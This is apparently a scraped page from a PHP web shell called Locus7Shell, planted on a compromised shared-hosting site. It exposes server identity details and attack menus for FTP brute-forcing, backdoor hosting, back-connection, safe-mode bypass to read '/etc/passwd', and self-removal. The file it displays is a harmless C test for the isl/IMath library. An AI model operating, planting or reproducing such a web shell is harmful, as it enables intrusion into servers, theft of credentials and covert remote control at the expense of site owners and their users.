Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/isl-0.24/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     isl_test_imath.c (1.89 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/*
 * Copyright 2015 INRIA Paris-Rocquencourt
 *
 * Use of this software is governed by the MIT license
 *
 * Written by Michael Kruse, INRIA Paris-Rocquencourt,
 * Domaine de Voluceau, Rocquenqourt, B.P. 105,
 * 78153 Le Chesnay Cedex France
 */

#include <limits.h>
#include <assert.h>
#include <isl_imath.h>

/* This constant is not defined in limits.h, but IMath uses it */
#define ULONG_MIN 0ul

/* Test the IMath internals assumed by the imath implementation of isl_int.
 *
 * In particular, we test the ranges of IMath-defined types.
 *
 * Also, isl uses the existence and function of imath's struct
 * fields. The digits are stored with less significant digits at lower array
 * indices. Where they are stored (on the heap or in the field 'single') does
 * not matter.
 */
int test_imath_internals()
{
    mpz_t val;
    mp_result retval;

    assert(sizeof(mp_small) == sizeof(long));
    assert(MP_SMALL_MIN == LONG_MIN);
    assert(MP_SMALL_MAX == LONG_MAX);

    assert(sizeof(mp_usmall) == sizeof(unsigned long));
    assert(MP_USMALL_MAX == ULONG_MAX);

    retval = mp_int_init_value(&val, 0);
    assert(retval == MP_OK);
    assert(val.alloc >= val.used);
    assert(val.used == 1);
    assert(val.sign == MP_ZPOS);
    assert(val.digits[0] == 0);

    retval = mp_int_set_value(&val, -1);
    assert(retval == MP_OK);
    assert(val.alloc >= val.used);
    assert(val.used == 1);
    assert(val.sign == MP_NEG);
    assert(val.digits[0] == 1);

    retval = mp_int_set_value(&val, 1);
    assert(retval == MP_OK);
    assert(val.alloc >= val.used);
    assert(val.used == 1);
    assert(val.sign == MP_ZPOS);
    assert(val.digits[0] == 1);

    retval = mp_int_mul_pow2(&val, sizeof(mp_digit) * CHAR_BIT, &val);
    assert(retval == MP_OK);
    assert(val.alloc >= val.used);
    assert(val.used == 2);
    assert(val.sign == MP_ZPOS);
    assert(val.digits[0] == 0);
    assert(val.digits[1] == 1);

    mp_int_clear(&val);
    return 0;
}

int main()
{
    if (test_imath_internals() < 0)
        return -1;

    return 0;
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.006 ]--